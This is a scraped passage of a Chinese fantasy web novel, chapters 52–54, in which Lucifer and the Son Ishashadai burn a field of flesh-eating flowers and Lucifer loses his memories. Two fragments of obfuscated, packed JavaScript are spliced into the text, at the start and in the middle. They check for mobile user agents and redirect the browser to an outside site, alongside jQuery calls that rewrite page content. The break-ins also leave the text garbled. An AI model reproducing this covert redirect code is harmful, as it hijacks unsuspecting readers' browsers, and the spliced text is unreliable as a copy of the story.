d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091895|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会爱上我,到时候,我们就会成为真正的爱人。 “——而你,不能是其中的阻碍。” 随伊勒沙代话音落下,神像骤然变化,那张与他相似的俊美面容被纱帷代替,雕像浑身气质姿态亦如外间所有神像,怜悯,慈悲。 唯独不再像祂自己。 伊勒沙代欣赏一番自己的杰作,便含笑离开。 只是他一踏出石门,就见外面有人已经等了他许久。 伊勒沙代并不意外,仍是笑道:“找我?” 塞里加看着他从石门悠然自若地进出,已经满心不可思议,各种纷乱的念头都涌了上来,但最终到嘴边的只有一句:“小姐不见了,我找不到她。” 白日里伊勒沙代说了那番话以后,他虽然相信塔隆坦的品性,却也担忧起了狄曼图雅的安危。 他们在天界山脉本就遇见了猛兽,纵使有他保护,狄曼图雅也难免受了些伤,而一进入云下原,他本想立刻打发走狄曼图雅,却不料正遇上塔隆坦一行人。 塔隆坦他们以防止狄曼图雅在云下原乱走看见不该看的为由将她带走,说是要单独看管。 塞里加从未与她分开过这么久,见不到她,他心里便始终难安,于是索性去寻塔隆坦,要他带他去见狄曼图雅。 然而,塔隆坦一直搪塞敷衍,他向来敏锐,立刻发现了不对,在他逼问之下,塔隆坦终于承认,他并未如承诺那样单独派人看管,而是将狄曼图雅关进了阴暗潮湿,虫蚁横行的水牢。 塞里加怒上心头,立刻冲去水牢,但直到去了地方,才发现,那里竟不知为何有无数毒蛇盘桓! 里面没有狄曼图雅的身影,只有一滩不明来源的血迹。 塞里加几乎找遍整个云下原,也没有发现她的踪迹,无奈绝望之下,他想到了伊勒沙代,于是鬼使神差地到了禁地石门处。 不成想,伊勒沙代竟真在这里。 “求您,帮我找到她。”塞里加低下头卑微祈求,“我不会告诉任何人您能打开这扇门。” 伊勒沙代一顿。 其实这不重要,哪怕塞里加到处说,对他也不会有什么影响。 但塞里加这样赤忱忠诚地以种族为先的人,竟然,也会为了异族人,做出这样的隐瞒之行? 看来狄曼图雅对他的确非常重要。 如此,也不算她是单相付出。 伊勒沙代扶起他,温和道:“既然你今日能找到我,那就说明她命不该绝,走吧,我们去找她。” 有他做保证,塞里加如同吃下定心丸,连忙点头。 “找谁?狄曼图雅?她死了吗?” 来人语气散漫,字句简短,却每个词都叫人听着火冒三丈。 路西法瞥他一眼,伊勒沙代立刻松开塞里加,正色道:“她应当无事。” 路西法漫不经心地随口道:“担心她做什么?想要她命可不容易,她不会那么轻易死的。” 伊勒沙代眸光微顿,不动声色记下。 下一刻,路西法看向了他身后的石门,精神一振,兴致勃勃道:“这里面是什么?” “一座神像罢了。”伊勒沙代看似淡然,却紧盯着路西法的动向。 “是吗?我看看。” 说罢,不待其他人反应,路西法便径直推开了那扇石门。 塞里加再度震惊了。 随手……就打开了? 被震惊的路西法本人看了看,却一下子没了兴趣,不耐烦地合上了门。 他转身回到伊勒沙代身侧,懒懒散散地往他身上一靠:“我还以为这里的神像会有耶和华的真容,结果怎么也是那个样?真没意思。走吧,去找那个家伙,看她有没有缺胳膊少腿。” 伊勒沙代湛蓝眸中染上笑意,轻轻揽住他,柔声道:“好,我们走。” 他们渐行渐远,那座神像,很快便被抛之身后。 52. 葬身火海 塞里加沉默地跟着面前亲亲我我的二人,不住地想狄曼图雅可能在哪里。 他不是不知道自从出了亲王府邸以后,他们身后就暗中跟着几个侍卫,但进入天界山脉时,为了不让他们发现云下原尚有人居住,他便借着猛兽袭击甩开了他们。 现在,他竟有些后悔。 如果他们在的话……起码,小姐不会遇到危险。 水牢里毒蛇盘桓的场景在他面前挥之不去,它们饥饿已久,甚至已经在互相吞吃,他尚且觉得瘆人,不敢想象小姐当时会有多害怕。 没关系,没关系,没见到她也许是好事,说明她没有死在那里。 塞里加自我安慰着,但仍止不住焦虑。 这时,他发现面前二人停下了脚步。 路西法拽着伊勒沙代让到一边,塞里加便与双眼通红的塔隆坦正面对上。 “你要去找她,是不是?” 塞里加皱起眉,试图讲道理:“她是个娇生惯养的小姑娘,水牢潮湿阴暗,你怎么能把她一个人关在那里?何况那里不知道从哪儿来了许多蛇,她处境危险,我当然要去找她。” “你指责我,就因为水牢环境差?”塔隆坦眼眶更红,声音尖利,“塞里加,你是不是已经被莱洛温贵族的奢靡生活养得忘了自己是谁!你还记不记得,斗兽场的奴隶园是什么样的?” “……记得,我当然记得。”塞里加沉默片刻,低声道。 “一年四季,从早到晚,那里的蛇虫鼠蚁何曾怕过人?我们一群人蜷缩在一间比猪圈还简陋的屋子里,连腿都伸不开,哥你还记得那时候吗?半夜有老鼠咬我的脚,我好害怕,我叫了出声,那些斗兽场的守卫就要拿着比手腕还粗的鞭子来抽我,你挡在我面前,一声不吭地扛了下来,你的……你的整个背上,全都是血,你还安慰我,你说,总有一天你会带我们走的……” 塔隆坦泣不成声。 他想愤怒地指责塞里加对身为莱洛温贵族的那个女人心慈手软,但他又没办法对着塞里加说出伤人的狠话。 他又何尝不是塞里加心软保护的人? 他有什么立场去指责塞里加的心软? 塞里加沉默着,攥着刀柄的手青筋毕显。 若塔隆坦真痛骂他,他还能义正辞严地反驳斥责,但塔隆坦只是哭诉那些不堪回首的痛苦过往,他除了沉默,再没有别的回答。 塞里加突然觉得很茫然。 他像被困在了浓雾之中,四面八方,好似没有一处是出路。 一会儿是奴隶园里一个个幼小的族人在懵懂中被莱洛温贵族抓去蹂|躏取乐,一会儿是狄曼图雅捧着他的脸,用她特有的明亮纯净的眼睛坚定温柔地看着他,炫耀似的说,她找到了一条路,可以送他回天界山脉。 【“我知道,你也是想回去的……没关系,我护送你,有我在,谁也不敢拦着你,万一谁不长眼,你就装作挟持我,他们肯定就会让开了。”】 这一路上并不太平,他们也算几经生死。 但狄曼图雅没有流露出一点点退缩的意愿。 族人的命是命,狄曼图雅的命也是命。 他好像怎么做都是错。 * 路西法靠在伊勒沙代肩头,饶有兴趣地欣赏这一场好戏。 痛苦,纠结,难以割舍。 好美妙的味道。 “你说,他会怎么选?”路西法偏过头,看向伊勒沙代的侧脸。 按理说,这位现在也是祭山族人。 可他看上去没一点情绪触动。 人类的躯体不会对他产生任何影响,不愧是天国圣子。 伊勒沙代不知他心里转过这些奇怪想法,沉吟片刻,道:“塞里加性情坚毅,不失善良,又重情义,他还是会去救狄曼图雅,但也不会伤害塔隆坦。” “哪有那么好的事呢。”路西法呢喃似的道。 另一边,塞里加也已经做出了决定。 他看向塔隆坦,坚定道:“我永远与我的族人站在一起,我的族人所受之辱,我永世不忘。” 塔隆坦喜上眉梢:“哥,我就知道,你肯定不会……” “但我现在要去找她。” 塔隆坦的笑意凝固在脸上,他颤抖着嘴唇,质问道:“为什么?” “因为我做不到明知她有危险却不管不顾。”塞里加闭了闭眼,再睁开时眼中满是坚定,“塔隆坦,难道你不相信我,你认为我是那种会为了富贵骄奢的生活背叛族人的人吗?” “当然不是!”塔隆坦急急辩解,“如果哥你只想要那种生活,就不会冒着危险送我们回来,我绝没有这样想过!” 他说完,自己愣了会儿,原本那愤怒又充满攻击性的姿态松懈下来,长长叹气,才让到一边,道:“好,哥,我相信你。” 见事情就这么告一段落,路西法难掩失望,比当事二人还惆怅遗憾地叹道:“真没劲。” 还以为能大闹一场就此决裂呢。 人类还是太容易被情感驱使了,总在关键时刻念起对方的好,于是再怎么也说不了狠话,下不了决心。 伊勒沙代早有预料,因此并不意外,只对塞里加点点头,示意可以继续出发。 但塔隆坦看向他的目光就没有那么友善了。 塞里加也就罢了,这个人凭什么向着莱洛温人? 塞里加见状,为了防止又节外生枝,拉过他在他耳边低语几句,塔隆坦的眼神霎时变得震惊且不可思议。 “他怎会是圣子!不可能……” “不得无礼!”塞里加低声警告他。 塔隆坦闭了嘴,但眼神还是惊疑不定。 路西法将他的反应尽收眼底,唇边笑意越发浓烈。 伊勒沙代一见他这样便知他心里必定又有了坏主意。 也说不准,兴许早就实施了。 * 摆脱塔隆坦以后,几人又再次出发,这回路西法没再靠着伊勒沙代,他一路东张西望,对这云下原似乎很感兴趣。 而他时不时问起关于云下原的事,伊勒沙代竟然都能答上。 塞里加默默告诉自己不要再震惊,这二位都不是凡人,就算从没接触过他们一族,但熟知一切内情也不奇怪。 不知走了多久,塞里加甚至感觉到已经离开云下原很远,他才听到路西法开口:“真是阴差阳错。” 塞里加急忙上前,却见眼前竟是一大片鲜红花海。 分明绽放得极为艳丽,但在惨白月色之下,莫名显出几分诡异。 路西法弯腰随手掐起一朵,捻在指间转了个圈,颇为遗憾:“品质真差。” 吉连罗这等非凡之物,当然不是一般条件下就可以长出来的。 比起三界中记载于明面上的什么阴凉湿润月光照耀之地,其实更适合它生长的,是血肉之躯。 最好是活的那种。 也正因它喜欢鲜活血肉,才有炼制之后配合法术能将灵魂锁于躯体的作用。 从本质上来说,利用吉连罗锁住生魂,其实是将那个人做成了它寄生的容器,互相喂养。 品质越好的吉连罗效果越好。 路西法又看向这片花海,正常情况下绝对长不出这么多吉连罗,应当,是有人刻意培养的。 这人对于某个已逝之人有相当深的执念,所以辛苦培育一大片吉连罗,但却太心慈手软有底线,用的都只是现成的尸体,恐怕还都是这天界山脉里的野兽的。 也不怪这些吉连罗品相差。 塞里加认不出这怪异的花,也无心在意路西法说了什么,他的视线全被倒在花海之侧的狄曼图雅吸引。 他眼尖地看见那些边缘处的花试图缠上狄曼图雅,甚至想不起绕路,竟直直从那花海正中穿过,直奔狄曼图雅身边。 待他跪在狄曼图雅身侧,双腿上已遍布伤痕,吉连罗宛如利齿的花刺在他腿上留下了血流不止的伤口,但他无暇顾及,只全神贯注地查看狄曼图雅的状况。 路西法与伊勒沙代不紧不慢地沿着花海边侧过来时,见他满头冷汗,但神情已是放松许多。 “看,我就说吧,她不会那么容易就死掉的。” 伊勒沙代听路西法这幼稚的得意邀功似的发言,无奈笑道:“对,路西最正确了。” 路西法不满意,他觉得这回答太敷衍。 他伸腿不轻不重地踢了下伊勒沙代:“快去摘吧,一会儿种花的人说不定就回来了。” 这说得,怎么好像在做贼似的? 伊勒沙代哑然,不知该不该在他说完这话之后告诉他,其实他是准备等种花人回来同意以后再摘的。 一旁确认狄曼图雅无碍,只是昏迷过去的塞里加眉头紧皱地看着他们,沉声问道:“这花就是您所寻之物?它……以血肉为食?” “是呀,越鲜活的它越喜欢。”路西法笑盈盈地迫不及待回答,“若是没有食物来源,说不定,它还会主动捕猎呢。” 他言语之间充满暗示之意,伊勒沙代看他一眼,确定他必然又是在打什么坏主意。 但路西法所言不假,大片吉连罗生长在人间并非好事。 塞里加听罢,下定了决心,对伊勒沙代道:“请您取走需要的数量,剩下的,我会全部处理掉。” “这不好吧,毕竟是人家辛辛苦苦种的。”路西法装模作样地痛心道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091896|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只有我族血脉可以穿过外围的毒瘴,我可以保证,这片花是我族人种下的,既然它如此凶狠,为了族人,我也要将它除去,无论有什么后果,一概有我担着。” 塞里加知道路西法只是装个样子,也不理他,只看着伊勒沙代,请示他的意见。 伊勒沙代深深看他,湛蓝眸中意味不明:“可。” 随即,他探出手,几枝吉连罗便主动挣开泥土飞入他掌中,安安静静躺在他掌心,若非那些还张牙舞爪的尖刺,当真看上去美丽又无害。 塞里加见他取好,便从怀中掏出火石,简单寻了些易燃物,点燃之后便丢入了吉连罗花田之中。 出乎他意料,吉连罗竟然极其易燃,顷刻之间,正片花海都变成了火海。 路西法半倚在伊勒沙代肩上,冲天焰光映衬着他容颜似是比平时还更艳丽妖异,跳跃的火焰照得他殷红眸中仿佛有波光。 他感受到了身侧充当人形柱子的那位专注打量的目光,懒懒转过脸,下颏抵住他的肩,温柔低语:“好看吗?” “好看。”伊勒沙代毫不迟疑地肯定。 这坦诚的反应倒让路西法心情愉悦。 恰是时,一阵咳嗽声响起,那火海窜出的浓烟竟然巧合地将狄曼图雅呛醒了。 塞里加连忙扶起她,急急问道:“小姐,你有没有哪里不舒服?” 他方才检查狄曼图雅身上有无外伤,也不敢真的掀开她的衣服,只能隔着衣物观察,现在便担心有所疏漏。 狄曼图雅虚弱地摇摇头,她似是还有些惊魂未定,双眼愣愣,不复平日的灵动澄澈。 须臾,她才开口,嗓音干哑:“刚才……有个人,救了我。”她又咳了一阵,继续道,“是个很奇怪的人,他,他看上去,衣不蔽体,头发杂乱,满脸黑灰,也不会说话,像是野人……” 塞里加轻轻拍抚她的脊背:“好,你先别说话了,我会去找到他,向他道谢。” 狄曼图雅皱着眉摇摇头,她大口喘着气,忽地想到什么,又道:“对了,他,他只有一只手……” 闻言,路西法与伊勒沙代对视一眼。 路西法做了个口型:“毒瘴那个?” 伊勒沙代十分配合地也以口型回他:“可能是。” 整个毒瘴以内,好像也没别人少一只手了。 路西法毫无愧疚,看上去还兴致盎然。 这时,狄曼图雅忽地看着一个方向,惊喜道:“是、是他!” 几人都望去,只见花海另一侧不知何时出现了一个高大的身影。 正如狄曼图雅所说,他穿着破破烂烂的衣服,胡子头发乱成一堆,右臂处空空荡荡。 他好似没看见其他人,只怔怔地盯着这片已经化为火海的花海。 “呀,好像,这片吉连罗,也是他种的呢。”路西法故作惊讶,“真是糟糕。” 狄曼图雅挣扎着想站起来靠近他,塞里加却对这人极为警觉,拦住了狄曼图雅的步伐,低声道:“小姐,我从来没见过此人,他在这里种下毒花,只怕用心不纯,您不要过去。” “可是他救了我,我不觉得他会伤害我。”狄曼图雅眉头紧皱反驳道。 塞里加难得强硬地挡在她身前。 狄曼图雅本就虚弱,自然拿身强体壮的他没办法,只能无奈又着急地看着另一边,努力发出声音试图将那人叫过来。 那人终于有了反应。 他兀地发出了一阵嘶吼声,挥舞着不惯用的左手试图去抓住一两丛吉连罗。 但吉连罗烧得太快了。 他抓起来的,只有一把灰。 夜风吹过,灰飞烟灭。 那人浑身发抖,须臾,竟是恸哭悲嚎起来。 仿佛绝路之人痛失最后一根救命稻草。 狄曼图雅怔怔地看着他,不知为何也觉得难过非常。 她不自觉地上前一步,但又被紧皱眉头的塞里加拦下。 那人看向了她,与浑身肮脏杂乱的外表不同,他有一双有神的眼睛。 他就在那边看了狄曼图雅很久,眼中是极其复杂难明的情绪。 蓦地,他转身。 决然地踏进了火海之中。 他像是感觉不到被烈火灼烧的疼痛一般跪下,最后拥抱着那片花田。 直到最后最后一刻,他依然望着狄曼图雅。 路西法仰头,殷红竖瞳微微眯起,像是极为享受,喃喃道:“……真是美妙。” 原来如此。 他好似困倦一般懒懒靠上伊勒沙代:“差不多也该走了。” “好,我们离开。” 伊勒沙代握起他的手,与他十指相扣。 53. 似故人来 狄曼图雅先是受伤,后又在阴冷潮湿的地牢里饱受惊吓,最后还亲眼见了救命恩人一声不吭地跳进火海自尽,身心折磨,后半夜便撑不住,又昏倒过去,还发起了高热。 追过来的塔隆坦嗤之以鼻,觉得她就是装出这副柔弱模样好让塞里加心里过意不去。 塞里加担忧她的身体状况,再没闲心与塔隆坦争这些是非对错,即使伊勒沙代告诉他狄曼图雅并无大碍,他也着急要将她带出天界山脉,送回王城。 伊勒沙代来此的目的只是为了吉连罗,目前已经得到,也要动身离开。 他们临行之际,塔隆坦看着伊勒沙代,几番欲言又止,最终还是抿着唇一言不发。 伊勒沙代只当没看见。 和塔隆坦这样偏激又认死理的人解释什么都是没有意义的。 塞里加从前不明白,以后会明白的。 * 来时匆匆,去时更匆匆。 狄曼图雅中途忽地醒了一次,她比寻常沉默了很多,塞里加问她感觉如何,她也只是摇摇头,却看向悠然如闲逛花园的路西法,撑着虚弱的声音问道:“……我觉得那个人好眼熟。” “我也觉得。”路西法笑眯眯地回答,“但你不必想这件事,他的选择你干涉不了。” “而且,不只是他。”狄曼图雅喃喃道,“我看到那些蛇的时候很害怕,慌忙之间,抹开了地面的砖石,我看到了一个人刻下的文字,字里行间满是怨恨与不甘。 “他将整个地面都刻满,又将自己的血涂在其中一段反复出现的文字上,内容是……‘我会让他们明白我才是正确的,哪怕付出血的代价’。” 狄曼图雅说到这里打了个寒颤。 时间太久,其他文字都被磨得模糊不清,但这句话刻得格外用力,足可见创作者深不可测的怨恨,配合那浓稠的干涸血迹,让她心惊胆战。 这一夜对她来说经历了太多。 狄曼图雅安静了一会儿,怔怔地看着头顶几乎遮蔽整片天空的参天巨树的树冠,然后又乞求似的对路西法开口:“您能为我取个名字吗?我听说,在某些地方,一个人可以有很多名字,用哪一个都可以。” 路西法盯着她的脸,须臾,意味深长道:“名字可不止代表着它本身,你确定要我为你取名?” “请您为我取名。”狄曼图雅坚定道。 他们这番话说得让听者如坠云雾,塞里加眉头紧皱,他直觉他们话中有话,却始终想不出来究竟。 现在的狄曼图雅好似与他隔了一层薄雾,他能看见她,却看不分明。 斟酌再三,他还是开口:“小姐,亲王恐怕不会同意的。” 当初小姐诞辰,亲王请大祭司为小姐取名,小姐闹着怎么也不愿意,向来对她宽容疼爱有加的亲王都生了气,说要责罚她对大祭司无礼,但纵是如此小姐也倔着不肯,还是最终大祭司冷淡地表示她不愿意便罢了才消停。 如今她却要一个身份成谜的陌生人为她取名,就算亲王再疼爱她,也得考虑到此举是否会得罪大祭司。 大祭司在人间的地位至高无上,与皇权相辅相成,连向来唯我独尊的杜维德安王都对他无比尊重,狄曼图雅却屡屡冒犯,塞里加当真为她担心。 大祭司虽深居简出,但可不是个修身养性好性情的。 他向伊勒沙代递个眼色,想让他也帮忙劝劝。 但伊勒沙代只是微笑着看着他们,并无阻止之意。 塞里加心下着急,但那边两人压根没在乎,都把他的话当耳旁风。 路西法思索片刻,已开口道:“我为你取名……萨南因。” 说罢,他想了想,丢了一雪白之物到她怀中,道:“收着,凭它,日后我可以满足你一个愿望。” 狄曼图雅点头,认真道:“谢谢您。” “小姐!”塞里加眉头紧皱,但他没机会再劝,因为狄曼图雅说完又晕了过去。 他不敢再耽搁,连道别都忘了,抱起狄曼图雅就急匆匆地往外跑。 伊勒沙代看着狄曼图雅晕过去的身影,几不可察地皱了皱眉。 “他似乎对你的医术不够信任呀。”路西法笑得纯良无害地挑拨道,“你都已经表明圣子身份了,他还是不信任你,这可怎么办?” “他不过是关心则乱。”伊勒沙代微微转头,湛蓝眸中有掩饰得极好的探究,“若我没有记错,‘萨南因’在恶魔语言里是‘生机’的意思。路西,你好像很希望她活着。” “活着不好吗?”路西法不避不躲,直直迎上他的目光,唇角弯起,好似在笑,又冷得吓人,“你知道耶和华除了我之外最讨厌什么吗?那就是放弃自己生命的人,生命是祂赐予众生最珍贵的东西,因为只要活着就会有希望,我当然得祝愿她好好活着。” 歪理。 路西法希望狄曼图雅活着绝不是为这个。 但他很明显不愿意说。 伊勒沙代移开目光,淡然道:“原来你还会认可圣父。” “偶尔。”路西法半真半假地回答。 但你还是会坚持不懈地和祂作对。 甚至为了和祂打擂台,不惜以无数人类的性命为代价。 生命在你眼里算什么呢?路西。 伊勒沙代回望身后,他们离云下原已经很远,但那片宏伟的断壁残垣似乎还在眼前。 天降灾厄,那时候建造巴别塔的人类几乎都没逃过。 人类自此惶惶不可终日,互相责怪对方惹怒创世神,却不知道,从提出这个主意到最终倒塌,路西法功不可没。 路西法顺着他的目光一起看,霎时就知道他在想什么,眉心微挑,笑道:“怎么,想去追查到底,然后审判我?” 他竟不避讳承认,他在整件事当中起到了怎样的作用。 路西法毫无愧疚。 相反,他甚至还很自豪。 那时的莱洛温国王放眼人间,自认没有敌手,便生出了野望,想要通天。 他求助了魔鬼。 路西法对这个充满野心的人类非常感兴趣,他亲自带着玛门来到人间,为莱洛温国王制定计划,又派出玛门伪装成说客,处处引|诱其他人类同意与莱洛温人结盟,最后,在玛门若有若无的引导下,他们将地址选定在了云下原。 他们野心勃勃,斗志昂扬。 却不知道,暗处的恶魔早已兴奋难耐。 从一开始,这座巴别塔,就注定将给人类带来分裂和自相残杀。 若建不成,人类四分五裂互相仇恨。 若能建成,那更好,路西法将利用它,反攻天国。 “后来我就发现建成的难度太大,现在的人类就算倾尽所有力量也不能完成。”路西法遗憾道,“于是我就开始布局……即使耶和华不出手,巴别塔,也会倒塌。” 只不过由于谁而倒塌就不好说了。 各种族的人类将会互相指责,结局,也是一样的。 反倒是因为耶和华骤然出手,现在的人类还不如他预想中对彼此那么有恨,更多是对创世神的畏惧。 路西法想,在坏他的事这方面,耶和华也从来是不遗余力。 他抬头,对上伊勒沙代宁静明净的湛蓝眼眸,肆无忌惮地笑道:“如你所想那样,所有都是我一手策划的。” “不用指望感化我,让我迷途知返,耶和华都做不到的事,你更不可能。” 伊勒沙代定定地看着他,难得不见笑意,沉声道:“你想激怒我,为什么?” “这还需要为什么?”路西法笑得越发开怀,“圣子,我做什么还需要先经过你同意?”< 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伊勒沙代的应对越发缓慢,而路西法攻势不停,他眉心微蹙,在一个错身间,墨黑长鞭擦过他右臂,鞭身倒刺即刻刮出一道血痕。 伊勒沙代忽地伸手,一把将长鞭鞭尾抓在掌心。 路西法故技重施又要将它变个形态,这回却纹丝不动。 他一挑眉,看向另一侧的伊勒沙代,却见—— 那湛蓝眼眸,不知何时,颜色竟然变深了。 路西法心中一惊。 不及他仔细看,伊勒沙代蓦地发力,竟借着长鞭直接将他拽了过来! 路西法不再轻慢,他掌心一转,噼啪作响的墨色电光霎时自柄部缠绕上鞭身,同时另一只手心一抵鞭柄,更有磅礴法力顺延鞭身而上! 他笃定,就是从前的伊勒沙代也不能毫发无损地接下这一击。 圣子,让他看看,他现在究竟有多厉害。 伊勒沙代抬眸,定定看向路西法。 路西法对上那双眼,殷红竖瞳竟都睁圆。 这颜色…… 宛如,深海。 一瞬间无数猜测涌上心头,但恰此时,伊勒沙代那一端竟爆发出前所未有的力量。 不仅完好接下这一击,甚至,反伤了路西法! 霎时,路西法双眼满布红丝,仿若要渗血。 伊勒沙代一见,即刻收手。 但还是来不及,路西法只觉脑中如受重击,吟诵之声又起,结成一股强流在他脑中横冲直撞,搅得天翻地覆江河倒流,所有记忆与认知的顺序被撞得粉碎四溅。 他按着前额,神情痛苦,支撑不住委顿下去。 在他倒下之前,伊勒沙代将他接在了自己怀中。 我是谁? 我在何方? “路西!”伊勒沙代不复往日从容的急切声音在他耳边时远时近地响着。 好熟悉…… 好痛。 墨色长发蓦地自发根寸寸变金,如附华辉。 伊勒沙代一怔,却见怀中人抬起头,仍是那双殷红竖瞳,却不见戾气恣意,而是温和懵懂。 伊勒沙代看着他,一个念头忽地升起。 他试探性地开口:“路西……菲尔?” 身着地狱之主华丽诡艳服饰的炽天使偏了偏头,面上是纯良无辜的好奇和歉意:“您认识我,但我却不记得您是谁,我只觉得,您好熟悉。” 伊勒沙代伸出手贴上他的侧脸,他下意识配合地靠近,一只手覆上伊勒沙代的手背。 自然又亲昵。 伊勒沙代开口,声音竟有一分暗哑。 “路西,我是…… “你的父神。” 54. 最为重要 路西菲尔惊讶地睁大了眼。 伊勒沙代身上的气息于他而言太过熟悉,不容错认。 他不禁仔细打量起伊勒沙代的外貌,随即意识到自己此举冒昧,垂下眼羞愧道:“抱歉,我从未见过您,这般……” 他想了许久,还是没有想出准确的形容词。 伊勒沙代看着他苦恼的模样,湛蓝眸中蓦地多了几分怀念。 无论是后来的天国副君还是地狱之主,都再没有过这样青涩稚嫩的神情。 他的拇指摩挲着路西菲尔的侧脸,路西菲尔安静又好奇地看着他,眸中是毫不掩饰的惊艳与仰慕。 伊勒沙代此刻由衷感激圣父,感激祂从来不曾以实体现身于路西菲尔面前。 不然,何以现在成全了他? 路西菲尔看着面前与印象中不太一样,但气息相同的“父神”,斟酌着开口:“父神,这里,似乎不是天国?” 果然,路西还是一如既往地敏锐,就算见到他的真容,也没有太过于沉浸惊讶中而忘了周遭环境的怪异。 伊勒沙代颔首,不过瞬息就编织好了一套完美的说辞,一个为拯救苍生而来不惜以自身为代价的光辉形象霎时就在路西菲尔心里建立起来。 他看向伊勒沙代的眼神里多了崇敬与……心疼。 “您本不用受这样的罪。”路西菲尔看着他臂上伤口,眉心微蹙,那双本妖异邪肆的殷红竖瞳现今只如一泓清泉,澄澈清明,一切情绪清晰可见。 “无妨,这是我必须要做的。”伊勒沙代看到他眸中的心疼,伸手将他揽入怀中。 路西菲尔顺从地靠进他怀里,声音闷闷:“您曾说我是您最倚重的天使,那为何不让我代您前来?” 不行,不可以是路西。 这是神明三位的共识。 这也是他能在神明所在的虚无之界摆了圣父一道,让圣父被迫沉眠的原因之一。 但这就不必告诉路西了。 伊勒沙代轻轻抚摸路西菲尔的长发,地狱之主是成年男子体态,比这时期的路西菲尔高了许多,骨架亦是长开,在他怀中便不比从前空荡,而是塞得满满当当。 他状似无意般说:“因为路西不再愿意留在我身边。” 路西菲尔惊愕地睁大眼睛,一下子从他怀中挣开,只觉不可思议:“怎么可能!我怎会,怎会背叛父神?” 这一句话叫他直接陷入了混乱和自我怀疑中,他皱着眉细细思索,但他仅存的关于他与创世神的记忆中毫无任何感情破裂的迹象。 路西菲尔一直知道,创世神格外爱重他。 但他从没觉得有什么不对。 无论哪一项能力,他都远在众天使之上,这权势高位,荣誉称颂,他受之无愧。 父神有什么理由不器重他,反而亲近其他人呢? 他也想不到自己会有背叛创世神的一天。 眼看着路西菲尔越来越心神不宁,伊勒沙代才笑道:“当真了?” 路西菲尔一怔,罕见地做出大胆冒犯之举,抬眼瞪他:“父神,您怎可拿这种事戏弄我!” 瞪人也好看。 现在的炽天使全无日后的凌厉跋扈气势,纵是生气也是人畜无害的模样。 伊勒沙代才恍然发现,这数年里,路西当真变了许多。 分明还是由造物主那精雕细琢的眉眼,未曾变过,却宛如两人。 * 约里第一眼看见路西菲尔,也是这样想的。 他那时正帮着莫格加族人清点羊群,远远瞧见伊勒沙代与一人回来,还放下心高兴起来,然而待他看清伊勒沙代身旁那人的容貌,惊得目瞪口呆。 这,这不是那幅画中的…… 不对,画中天使的眼睛是犹如春水碧波,蒙蒙青山般的缥碧色。 他正想着怎么没见路西法,猛然想起,路西法与画中天使本就一模一样的相貌。 如今,只是换了发色而已。 不过却叫人觉得判若两人。 他看着伊勒沙代对身旁的“天使”极尽温柔照顾,不似对着路西法那般谨慎示弱,心头疑惑顿生。 约里迟疑地上前,看着路西菲尔的目光里满是惊讶。 路西菲尔倒不介意,温柔地弯唇笑道:“你好,我是路西菲尔。” “路西……菲尔,你好。”约里觉得脑子钝钝的,不太够思考。 眼前一举一动端庄优雅的天使,同那个散漫慵懒邪气外露极具危险感的地狱之主,当真是同一个吗? 地狱,还真是个大染缸啊。 伊勒沙代握紧路西菲尔的手,柔声道:“你先回营帐等我,待我处理完一些事就来寻你。” 若按照路西法的脾气,怎么也会无风起浪阴阳怪气一番,然而现在在他面前的是路西菲尔,所以他只是乖巧地点点头,既没有问他是什么事,也没有嘲讽一句“真是大忙人”,只是依恋不舍道:“好。” 他应得干脆顺从,但眸中的不舍却也明明白白。 伊勒沙代爱怜地摸了摸他的脸,温声哄道:“很快的。” 路西菲尔对他深信不疑,明显开心起来。 然而他们这旁若无人般的亲密互动,落到众人眼里简直叫他们瞠目结舌,话都说不出来。 伊勒沙代拜托了一位路过的莫格加族妇人带路西菲尔回去,看着他离开,这才回头对还回不过神的约里道:“我已取得吉连罗,现在就可以为你的妹妹制药了。” 约里终于回过神,莫大的惊喜冲上心头,他充满感激地看着伊勒沙代,声音哽咽:“先生,谢谢您。” 一开始伊勒沙代不告而别的时候,他就猜到他大概率是去取吉连罗了。 兴许那地方太过危险,所以伊勒沙代才决定孤身前往。 幸好,还有那个美貌危险的恶魔能陪着他。 约里深恨自己的无能,但又庆幸有路西法的存在,能陪伴伊勒沙代。 况且…… 他能感觉出来,伊勒沙代,其实很喜欢路西法在他身边。 哪怕是为了监视或添乱也好。 约里擦擦眼睛,带着浓重鼻音开口:“我能为您做什么?” “绊住利维坦。” * 利维坦疑惑地盯着面前这个人类。 他磕磕巴巴地从传说故事说到自己的童年经历,接连不断地讲了很久,久到利维坦都觉得不耐烦。 趁着这人类歇口气的功夫,他抬腿就要离开,却又被他挡在身前。 “你……到底,想,做什么?”利维坦皱着眉没好气问道。 约里正找着借口,却对上他的眼睛。 利维坦的眼睛很黑,不似人类那般有深浅之分,他的眼睛如同不可见底的深渊,仿佛能吸纳一切,透不出一丝光。 他的眼睛倒映不出万物,也不可见分毫情绪,甚至几乎不会转动。 就像…… 一个装饰品。 约里莫名打了个寒颤。 就这一愣神的功夫,利维坦已经绕过了他。 “等等……” 约里又要追上他,却蓦地发现自己竟然不能再动。 利维坦头也不回,径直离开。 听说那个什么圣子回来了? 那陛下应该也回来了吧。 * 带路的莫格加族妇人对身后那位天使一般的青年非常好奇。 她忍不住频频回望。 她并非没见过貌美的人,但确实没见过这般……纯净的美貌。 剔透明澈,熠熠生辉。 时下多认为黑色是不祥的颜色,但这点缀着金饰珠石的黑衣在他身上,却也在奢靡之外显出庄重圣洁来。 他对这人间的一切似乎都颇为好奇,左顾右盼,眸中兴致盎然。 